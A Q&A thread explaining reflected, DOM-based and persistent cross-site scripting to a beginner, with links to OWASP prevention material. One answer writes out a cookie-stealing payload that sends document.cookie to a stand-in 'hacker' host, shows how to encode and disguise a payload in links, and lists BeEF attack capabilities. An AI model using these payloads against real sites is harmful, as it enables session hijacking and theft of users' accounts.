How does XSS work? [closed]

Question

I have very little experience in web development, but I'm interested in security. However, I haven't fully understood how XSS works. Can you explain it to med? The Wikipedia article give me a good idea but I don't think I understand it very well.

Answer 1

XSS - Cross Site Scripting (but not limited to actual cross site scripting)

XSS is usually presented in 3 different ways:

Non-persistent (often called reflected XSS)

This is when you are able to inject code and the server returns it back to you, unsanitized. Often this can be exploited by distributing an (usually innocent looking) URL in some form or way for others to click on.

This can be particular effective when you're dealing with focused attacks against someone. As long as you can make someone click the URL you sent there is a chance you can gain elevated privileges on the system.

Example:

A site containing a search field does not have the proper input sanitizing. By crafting a search query looking something like this:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

Sitting on the other end, at the webserver, you will be receiving hits where after a double space is the users cookie. You might strike lucky if an administrator clicks the link, allowing you to steal their sessionID and hijack the session.

Using techniques like spam email, message board posts, IM messages, Social Engineering Toolkits this vulnerability can be very dangerous.

DOM-based

Very similar to non-persistent, but where the javascript payload does not have to be echoed back from the webserver. This can often be where simply the value from an URL parameter is echoed back onto the page on the fly when loading using already resident javascript.

Example:

http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>

Of course criminals would modify the URL to make it more innocent looking. The same payload as above just encoded differently:

http://victim/displayHelp.php?title=FAQ#&#60&#115&#99&#114&#105
#112&#116&#62&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109
&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#60&#47&#115&#99
&#114&#105&#112&#116&#62

You can even mask it better when sending to email clients that support HTML like this:

<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>

Persistent

Once you are able to persist an XSS vector the attack becomes much more dangerous very fast. A persistent XSS is reflected back to you from the server, usually because the XSS has been stored in a database field or similar. Consider the following input is stored to database and then presented back to you on your profile:

<input type="text" value="Your name" />

If you are able to make the application accept and store unsanitized input, all you have to do is make other users view your profile (or where the XSS is reflected back).

These kinds of XSS can be not only hard to spot, but very devastating to the system. Just take a look at the XSS worm called Samy worm!

In the early days of XSS you saw this kind of exploit all over guestbooks, communities, user reviews, chat rooms and so on.

---

Two attack vectors

Now that you know the different ways of delivering a XSS payload I'd like to mention a few XSS attack vectors that can be very dangerous:

• XSS defacement

  XSS defacement is not a hard feat to accomplish. If the XSS is persistent as well, it can be a hassle for the sysadmins to figure it out. Take a look at RSnake Stallowned "attack" which took out Amazon's book preview feature. Quite funny reading.

• Cookie stealing and session hijacking

  As in one of the examples above, once you can access users' cookies you can also grab sensitive information. Capturing sessionID's can lead to session hijacking, which in turn can lead to elevated privileges on the system.

Sorry about the long post. I'll stop now. As you can see though, XSS is a very big topic to cover. I hope I made it a bit clearer for you, though.

---

Exploiting XSS with BeEF

To easy see how XSS can be exploited I recommend trying out BeEF, Browser Exploitation Framework. Once it's unpacked and run on a webserver with PHP support, you can easily try spawning a simulation of a victim (called a zombie) where you can very easy try out different XSS payloads. To mention some:

• Portscan local network
• Pingsweep local network
• Send virus infected applet, signed and ready
• Send messages to client
• Make a Skype call

The list goes on. Recommend seeing the video on the BeEF homepage.

UPDATE: I've done a write up on XSS on my blog which describes XSS. It contains a bit about the history of XSS, the different attack types and some use-cases including BeEF and Shank.

Answer 2

To piggy-back on what SteveSyfuhs said, there are many possible malicious ways XSS can be used.

Examples:

One example would be to inject malicious code into a database field. Subsequently, any time that field is displayed to the end-user unsanitized, their browser would execute the code. This is called Persistent/Stored Cross Site Scripting.

Another would be the ability to insert code into GET or POST parameters without them being validated or sanitized. When those variables modify the content of your page, the modified data will be displayed to the end-user and their browser would then execute the malicious code. This is typically present in malicious links via email/web that send these GET parameters when someone clicks the link. This is called Reflected Cross Site Scripting.

Resources:

Fortify Software has a great resource for explaining vulnerabilities and giving examples: https://www.fortify.com/vulncat/en/vulncat/index.html

• Click on the language of choice, and under Input Validation and
  Representation you can select from the different types of Cross Site
  Scripting vulnerabilities as defined by Fortify Software.

OWASP has a great resource for explaining how to prevent XSS vulnerabilities: http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Answer 3

XSS is about letting arbitrary data into a system and then showing that data unmodified to a user. If I saved some js to my profile and got someone to view that page, the js would execute. As an example I could have the js send contents of the users cookie to my web service, allowing me to do whatever i wanted with their cookie like steal their session.

Answer 4

In a nutshell, cross-site Scripting tricks the web browser into executing malicious code because the developers didn't check untrusted input.

So if you take an example XSS attack the untrusted input could be a URL parameter containing JavaScript. The developer assumes the parameter only contains data (or doesn't sufficiently check it) and simply adds the contents of the parameter to the HTML page. The browser then dutifully executes the JavaScript and you have yourself a reflected XSS attack.

More information can be found here: OWASP XSS page